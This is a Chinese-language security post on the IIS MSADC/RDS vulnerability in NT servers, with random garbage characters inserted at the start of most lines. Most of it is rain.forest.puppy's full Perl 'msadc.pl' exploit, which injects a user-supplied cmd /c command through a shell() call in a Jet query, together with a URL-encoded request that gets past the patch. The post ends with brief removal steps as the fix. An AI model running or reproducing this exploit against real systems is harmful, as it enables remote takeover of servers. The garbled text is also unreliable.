IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
WYUDD_m w>&*-}XX 涉及程序：
MVsFi]- Microsoft NT server
akzGJ3g 4\Y5RfL B_ 描述：
r[a7">n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"^n,(l*4x J{1H$[W~} 详细：
7~mhWPzMwB 如果你没有时间读详细内容的话，就删除:
EJ9hgE c:\Program Files\Common Files\System\Msadc\msadcs.dll
a4__1N^Qj 有关的安全问题就没有了。
U\Wo&giP[ tbd=A]B- 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
tTLg;YjN 0 5`"U#`: 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
lb-1z]YwQ 关于利用ODBC远程漏洞的描述，请参看:
l?U=s7s0? +nDy b http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [8i)/5D4 &vp KB R ^ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\g39>;iR http://www.microsoft.com/security/bulletins/MS99-025faq.asp USz~ l7Xs #hZ$ ;1. 这里不再论述。
6:7[>|okQ ;=ddv@ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
$Iwvecn?I /uwi$~Ed /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
_qxI9Q}<" 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
?FQ#I~'< XVYFyza; @Nek;xJ #将下面这段保存为txt文件，然后: "perl -x 文件名"
/*mF:40M; hw^&{x #!perl
uw}Rr7q #
I+8n;I)]X # MSADC/RDS 'usage' (aka exploit) script
FmL]| ~ #
$v|W2k # by rain.forest.puppy
o8bd L< #
^ }_Ka //k # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
WTJ 0Q0U # beta test and find errors!
a[-!X7,IU 69g{oo use Socket; use Getopt::Std;
`t~jHe4!Y getopts("e:vd:h:XR", \%args);
2s\ClT f2i:I1 p(" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
08`|C)Z! Q d[_W^QI if (!defined $args{h} && !defined $args{R}) {
BNu >/zGpB print qq~
0ns\:2)cEB Usage: msadc.pl -h <host> { -d <delay> -X -v }
}Y~Dk ]* -h <host> = host you want to scan (ip or domain)
Lnr9*dm6q -d <seconds> = delay between calls, default 1 second
Iux3f+ H -X = dump Index Server path table, if available
@Jzk2,rI -v = verbose
K3yQ0k
| -e = external dictionary file for step 5
*; o%*: 6p9fq3~7Y Or a -R will resume a command session
HEF
e ? g'(bk@<BP ~; exit;}
f E-R(9K 6_Fr \H $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Z[oF4 z if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
oN7S m P_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
oJ74Mra if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
35<A :jKS $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
r
)F;8( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
h.jJAVPi 4l$OO;B if (!defined $args{R}){ $ret = &has_msadc;
}aZuCe_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
>HP
`B2Q
H l|P"^;*zq print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Yj/afn(Jt . "cmd /c ";
'NEl`v*<P $in=<STDIN>; chomp $in;
j /O~8o& $command="cmd /c " . $in ;
i5VZ,E^ E )6OD@< r{ if (defined $args{R}) {&load; exit;}
7n8nJTU{4j ^3;B4tj[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
QNj]wm=mp &try_btcustmr;
{M]_]L{&7 PsC")JS print "\nStep 2: Trying to make our own DSN...";
p}1i[ //S &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
p['RV RY , <* print "\nStep 3: Trying known DSNs...";
{q-&! l| &known_dsn;
ar 3L|MN j#l =%H print "\nStep 4: Trying known .mdbs...";
Pq;OShU_ &known_mdb;
SH%N Yjj Y{YbKKM if (defined $args{e}){
2HE@!*z9H print "\nStep 5: Trying dictionary of DSN names...";
H+v&4} f &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
&."$kfA+ sh<Q2X
print "Sorry Charley...maybe next time?\n";
IPQRdBQ exit;
a>wCBkD Ep7MU&O0iK ##############################################################################
6 d-\+ t8 ov6xa*'a sub sendraw { # ripped and modded from whisker
sy: xA w sleep($delay); # it's a DoS on the server! At least on mine...
4Yj1Etq.E my ($pstr)=@_;
.ZTvOm'mB^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ez3fL&* die("Socket problems\n");
{w@qFE' b if(connect(S,pack "SnA4x8",2,80,$target)){
o`bch? ] select(S); $|=1;
F-_u/C] print $pstr; my @in=<S>;
g6GkA.!X$ select(STDOUT); close(S);
%~u]|q<{ return @in;
^P) f]GQx } else { die("Can't connect...\n"); }}
D|- ]<r1" L5&M@YTH ##############################################################################
1- 2hh) n(: <pz sub make_header { # make the HTTP request
mUYRioNj my $msadc=<<EOT
ZT0\V
]!B POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
HI.*xkBXl& User-Agent: ACTIVEDATA
66yw[,Y Host: $ip
2~4:rEPJ: Content-Length: $clen
AZj&;!} Connection: Keep-Alive
C/kf?:j ~iL^KeAp
ADCClientVersion:01.06
uo9# (6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Q]ersA8 V> | Y9>kXM l --!ADM!ROX!YOUR!WORLD!
i'IT,jz ! Content-Type: application/x-varg
slQ n Content-Length: $reqlen
c_J9CKqc u` pTFy EOT
V Y?9|} ;f ; $msadc=~s/\n/\r\n/g;
z0z@LA4k6@ return $msadc;}
}w0 pi E&M ( QX5 ##############################################################################
c;l!i- XiUq#84Q sub make_req { # make the RDS request
UP~28%>X my ($switch, $p1, $p2)=@_;
`m,4# P-kj my $req=""; my $t1, $t2, $query, $dsn;
(MwRe?Ih ,} oAc if ($switch==1){ # this is the btcustmr.mdb query
;Afz`Se1@ $query="Select * from Customers where City=" . make_shell();
p~D}Iyww1_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
djd/QAfSC $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)U/jD VYk:c`E elsif ($switch==2){ # this is general make table query
J9^NHU $query="create table AZZ (B int, C varchar(10))";
#H w|P $dsn="$p1";}
?CpVA E C#0-,z elsif ($switch==3){ # this is general exploit table query
d "wA"*8~y $query="select * from AZZ where C=" . make_shell();
&g`&#IRz $dsn="$p1";}
m,.Y:2?*V +VIA@`4 elsif ($switch==4){ # attempt to hork file info from index server
0vY_ $query="select path from scope()";
(3Db}Hnn $dsn="Provider=MSIDXS;";}
I2 [U #4n (s};MdXIz elsif ($switch==5){ # bad query
,AP&N'
$query="select";
qZ1'uln=C- $dsn="$p1";}
)6"}M;v K-RmB4WI $t1= make_unicode($query);
RD$:. $t2= make_unicode($dsn);
%OQdUH4x $req = "\x02\x00\x03\x00";
X9 x`i $req.= "\x08\x00" . pack ("S1", length($t1));
W06aj ~7Z $req.= "\x00\x00" . $t1 ;
?cU,%<r $req.= "\x08\x00" . pack ("S1", length($t2));
|]\zlH"w $req.= "\x00\x00" . $t2 ;
f Y<#KM6X $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
AwM`[`ReE return $req;}
`7 "="T~ * 5pQpzn = ##############################################################################
`fv5U% fzsy<Vl", sub make_shell { # this makes the shell() statement
9"~ FKM N return "'|shell(\"$command\")|'";}
Z #[?~P 9+ 'i(q
z ##############################################################################
-TUJ"ep]QJ 6VW *8~~Xy sub make_unicode { # quick little function to convert to unicode
ZW4f " my ($in)=@_; my $out;
e~)[I! n for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3>O|i2U return $out;}
%:3XYO.w- Q}BMvR 9w ##############################################################################
z^bS+0S5x! VAPeMO
ck sub rdo_success { # checks for RDO return success (this is kludge)
U]P B) my (@in) = @_; my $base=content_start(@in);
!~#zd]0x; if($in[$base]=~/multipart\/mixed/){
pH '_k k return 1 if( $in[$base+10]=~/^\x09\x00/ );}
^<I( return 0;}
>pq~ &)^u @16GF!. ##############################################################################
rN0<y4)! sJ6.3=
c sub make_dsn { # this makes a DSN for us
F8pA )!AH my @drives=("c","d","e","f");
=uP?
?E print "\nMaking DSN: ";
( bwD:G9 foreach $drive (@drives) {
B[b>T= print "$drive: ";
yRXML\G e my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(_FU3ZW! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Be6Yh~m . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
mU5Ox4>&9 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
t. P@Ba^ return 0 if $2 eq "404"; # not found/doesn't exist
"\4W])30 if($2 eq "200") {
mx Nd_{n foreach $line (@results) {
c^}y9% 4c return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
80l ei } return 0;}
M @5&. B J |l ##############################################################################
fU>l:BzJ K 6bm 7^e( sub verify_exists {
,#Z%0NLe my ($page)=@_;
[LoQYDku my @results=sendraw("GET $page HTTP/1.0\n\n");
HP# SR';E return $results[0];}
(W} F \P l=DF)#>w ##############################################################################
At Q.H-8r $*q|}Tvl# sub try_btcustmr {
Tmzbh 9
my @drives=("c","d","e","f");
2B_ |"J my @dirs=("winnt","winnt35","winnt351","win","windows");
t2[/eM.G \VpEUU6^U foreach $dir (@dirs) {
gAAC>{Wh print "$dir -> "; # fun status so you can see progress
-S$F\ % foreach $drive (@drives) {
Xa`Q;J"h print "$drive: "; # ditto
5kGn iG?T# $reqlen=length( make_req(1,$drive,$dir) ) - 28;
F0$w 9p $reqlenlen=length( "$reqlen" );
M(X
_I`\E $clen= 206 + $reqlenlen + $reqlen;
wQ 33Gc ] Q5:JV my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.psb# 4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
,`geOJn'
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
s%)f<3=a ;Y7' U rn ##############################################################################
#Y7jNrxE '1mk;% sub odbc_error {
O= S[ n my (@in)=@_; my $base;
VLXA6+ my $base = content_start(@in);
ddQ +EY@! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
eF+F"|1h $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~$J ;yo~ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yqN`R\d $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2Q6;SF"Z return $in[$base+4].$in[$base+5].$in[$base+6];}
L}h_\1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
LG[N\%<!H print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
A
\/~u"Y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
A@V$~&JCL5 g,,wG k ##############################################################################
?fxM 1<8 g89@>?Mn sub verbose {
h>pu^ `hk my ($in)=@_;
:-?ZU4) return if !$verbose;
Tg{5%~L] print STDOUT "\n$in\n";}
#/oH #/? +ktv : d ##############################################################################
#W~jQ5NS\ sOhn@*X sub save {
A5ng gg4 my ($p1, $p2, $p3, $p4)=@_;
u
W]gBhO$O open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<K CI@ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
.W{CJh close OUT;}
QAkK5,`vV. |=0vgwd "S ##############################################################################
9pLe8D x Lan1V sub load {
]0UYxv %] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$@PruY3[ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;\K]~ @p=<IN>; close(IN);
TiD#t+g $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
~4 fE`-O $target= inet_aton($ip) || die("inet_aton problems");
[Hh*lKg print "Resuming to $ip ...";
iT'doF $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$_S-R
3L\ if($p[1]==1) {
#)'Iqaq7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
^yW['H6V $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
d6n_Hpxw^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
xJ>5 ol if (rdo_success(@results)){print "Success!\n";}
D!.c??
else { print "failed\n"; verbose(odbc_error(@results));}}
Y (UK:LZ' elsif ($p[1]==3){
,`f]mv l if(run_query("$p[3]")){
in>+D|q
c print "Success!\n";} else { print "failed\n"; }}
,
>7PG2
a elsif ($p[1]==4){
| ]G%b[ if(run_query($drvst . "$p[3]")){
<| r| s print "Success!\n"; } else { print "failed\n"; }}
}u8(7 exit;}
uWJJ\ [/a
AH<9b ##############################################################################
TtkHMPlm_ k L DpZ{ sub create_table {
d88A.Z3w my ($in)=@_;
9~h W8{# $reqlen=length( make_req(2,$in,"") ) - 28;
U p@ ^C" $reqlenlen=length( "$reqlen" );
eha|cAq $clen= 206 + $reqlenlen + $reqlen;
+jhzE% my @results=sendraw(make_header() . make_req(2,$in,""));
>h aihT return 1 if rdo_success(@results);
9J/[7TzSZ my $temp= odbc_error(@results); verbose($temp);
30v xOkS return 1 if $temp=~/Table 'AZZ' already exists/;
@&?(XY 'M% return 0;}
}uma<b Y % ;J/4dd ##############################################################################
.Y6v#VI S<7!< ]F- sub known_dsn {
e]VW\ 6J& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~dS15E4-Pp my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
e@P(+.Ke "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
~cc }yDe "banner", "banners", "ads", "ADCDemo", "ADCTest");
lTC0kh ao)';[%9s foreach $dSn (@dsns) {
Gwk$<6E print ".";
,8r?C !m] next if (!is_access("DSN=$dSn"));
Jg$<2CR& if(create_table("DSN=$dSn")){
LDQ,SS, print "$dSn successful\n";
V/#Ra if(run_query("DSN=$dSn")){
}|| u {[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{&+M.Xn print "Something's borked. Use verbose next time\n";}}} print "\n";}
0`"oR3JY ;t0 q
?9 ##############################################################################
=\lw.59 Nvd(?+c sub is_access {
j""ZFh04 my ($in)=@_;
f-18nF7{ $reqlen=length( make_req(5,$in,"") ) - 28;
,ayEZ#4.m $reqlenlen=length( "$reqlen" );
6 J>A U $clen= 206 + $reqlenlen + $reqlen;
V8/4:Va7 s my @results=sendraw(make_header() . make_req(5,$in,""));
- VJx)g my $temp= odbc_error(@results);
jfG of* verbose($temp); return 1 if ($temp=~/Microsoft Access/);
m[eqTh4* return 0;}
|Y
K,& 3RaW\cWzg ##############################################################################
_^W;J/He ;qaPK2 a8 sub run_query {
nF'YG+;|@ my ($in)=@_;
P!]uJ8bi $reqlen=length( make_req(3,$in,"") ) - 28;
,]EhDW6 $reqlenlen=length( "$reqlen" );
F ` 7 v $clen= 206 + $reqlenlen + $reqlen;
g
` s|]VNt my @results=sendraw(make_header() . make_req(3,$in,""));
0 h A: =r return 1 if rdo_success(@results);
>Lo\?X ~ my $temp= odbc_error(@results); verbose($temp);
>e {1e return 0;}
q;,lv3I b kd`7(r ##############################################################################
SE\?8cs]- d3:GmB . sub known_mdb {
,!_6X9N-h my @drives=("c","d","e","f","g");
# ][i!9$ my @dirs=("winnt","winnt35","winnt351","win","windows");
+% YBa'Lk my $dir, $drive, $mdb;
/K|(O^nw my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TR3U<: a
U\|ZCH\] # this is sparse, because I don't know of many
R ` ViRJh my @sysmdbs=( "\\catroot\\icatalog.mdb",
PcC@}3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
R ABw( b "\\system32\\certmdb.mdb",
Tc(=J7*r& "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Dizz ?O nh4G;qdU my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7_\F$bp` "\\cfusion\\cfapps\\forums\\forums_.mdb",
P7F"#R 0QB "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
kBZ1)? "\\cfusion\\cfapps\\security\\realm_.mdb",
estiS "\\cfusion\\cfapps\\security\\data\\realm.mdb",
]qqg EZ1!Y "\\cfusion\\database\\cfexamples.mdb",
y.lWyH9 "\\cfusion\\database\\cfsnippets.mdb",
fk ,Vry "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"jAd.x?X7e "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
d# E&,^@M "\\cfusion\\brighttiger\\database\\cleam.mdb",
8</wQ6&| "\\cfusion\\database\\smpolicy.mdb",
94 -BcN "\\cfusion\\database\cypress.mdb",
se x\ dg< "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
mcQL>7ts "\\website\\cgi-win\\dbsample.mdb",
I]C
Y>' "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
At J{ d^ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
T)gulP ); #these are just
3A`Gx# foreach $drive (@drives) {
rhc+tR foreach $dir (@dirs){
EQ273sdK foreach $mdb (@sysmdbs) {
M/6Z,oOU print ".";
d9$RmCHe} if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
I Id4w~| print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
44} 5o if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
GS>[A b+ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
_ 94
W@dW } else { print "Something's borked. Use verbose next time\n"; }}}}}
??"_o3 nx 'c= gp foreach $drive (@drives) {
Nhs!_-_I foreach $mdb (@mdbs) {
bvtpqI QZ print ".";
tle`O)&uo if(create_table($drv . $drive . $dir . $mdb)){
;Xt <\^e print "\n" . $drive . $dir . $mdb . " successful\n";
> S I'Q7k if(run_query($drv . $drive . $dir . $mdb)){
!vnC-&G print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2#7|zhgb } else { print "Something's borked. Use verbose next time\n"; }}}}
Z wDL }
V^,gpTyv* .j:,WF<"l5 ##############################################################################
S-Y{Vi"2 P{9:XSa% sub hork_idx {
R->x_9y-R print "\nAttempting to dump Index Server tables...\n";
|4mvB2r print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
=#u4^%i) $reqlen=length( make_req(4,"","") ) - 28;
-i8KJzPL f $reqlenlen=length( "$reqlen" );
` 0NU
c)` $clen= 206 + $reqlenlen + $reqlen;
/u$'=!<b; my @results=sendraw2(make_header() . make_req(4,"",""));
==[(Mn,%d if (rdo_success(@results)){
59oTU my $max=@results; my $c; my %d;
vb= ]00 c for($c=19; $c<$max; $c++){
{\(G^B*\ $results[$c]=~s/\x00//g;
8lV:-"+5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
;}+M2Ec51 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
~3 :VM_ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
DDr\Kv)k( $d{"$1$2"}="";}
WRD
z*Zf foreach $c (keys %d){ print "$c\n"; }
FFqK tj' s } else {print "Index server doesn't seem to be installed.\n"; }}
*5PQ>d
G .h W># ##############################################################################
h q 7f "` NAD^10 sub dsn_dict {
~5HT _B U= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
@4;'>yr(
while(<IN>){
$L^%*DkM $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
5$ =[x!x next if (!is_access("DSN=$dSn"));
tKt} ]KHV if(create_table("DSN=$dSn")){
]00 s o` print "$dSn successful\n";
\$_02:# if(run_query("DSN=$dSn")){
"zcAYg^U print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$jMA(e`Ye0 print "Something's borked. Use verbose next time\n";}}}
~
=u8H print "\n"; close(IN);}
4;L|Ua 6 >)fNCe` ##############################################################################
aA4RC0' j9k:!|(2' sub sendraw2 { # ripped and modded from whisker
%: ~Ah6 R1 sleep($delay); # it's a DoS on the server! At least on mine...
sc]# T)xG my ($pstr)=@_;
{O>Td9
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fZ-"._9UyH die("Socket problems\n");
f$>_>E if(connect(S,pack "SnA4x8",2,80,$target)){
|6Y:W$7k print "Connected. Getting data";
qA '^b~ open(OUT,">raw.out"); my @in;
V<9L-7X 8 select(S); $|=1; print $pstr;
p-"C^=l while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ahXcQ9jzFi close(OUT); select(STDOUT); close(S); return @in;
>l 0aME@-0 } else { die("Can't connect...\n"); }}
_- vlN J~K O#` ##############################################################################
&Z~_BT V30w`\1A sub content_start { # this will take in the server headers
& n | <NF my (@in)=@_; my $c;
jP<6J( for ($c=1;$c<500;$c++) {
_t-6m2A if($in[$c] =~/^\x0d\x0a/){
V<WWtu;3 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
#v(As) 4^ else { return $c+1; }}}
6|p8_[e` return -1;} # it should never get here actually
K-]) RIM C5(XZscq ##############################################################################
n}Z%-w$K# 0dwD ?GG2 sub funky {
OD}Uc+;K my (@in)=@_; my $error=odbc_error(@in);
D% *ww'mt0 if($error=~/ADO could not find the specified provider/){
$z OV*O2 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
jk`U7 G* exit;}
jy~hLEt7 if($error=~/A Handler is required/){
NCg("n ,jx print "\nServer has custom handler filters (they most likely are patched)\n";
2XyyU}.$ exit;}
"d-v s t5 if($error=~/specified Handler has denied Access/){
5dv|NLl print "\nServer has custom handler filters (they most likely are patched)\n";
1;m?:|6K{ exit;}}
O)^F z: kR1
12 J9P ##############################################################################
)r"R *As"U99( sub has_msadc {
5q4wREh my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
bo/U5p my $base=content_start(@results);
al Rz@N return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
T=w0T-[f return 0;}
j 7);N I[A<e]uK ########################
nEU H; z >Ch2Ep Zah<e6L 解决方案：
dgQ<>+9]6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@RB^m(> 5 2、移除web 目录: /msadc
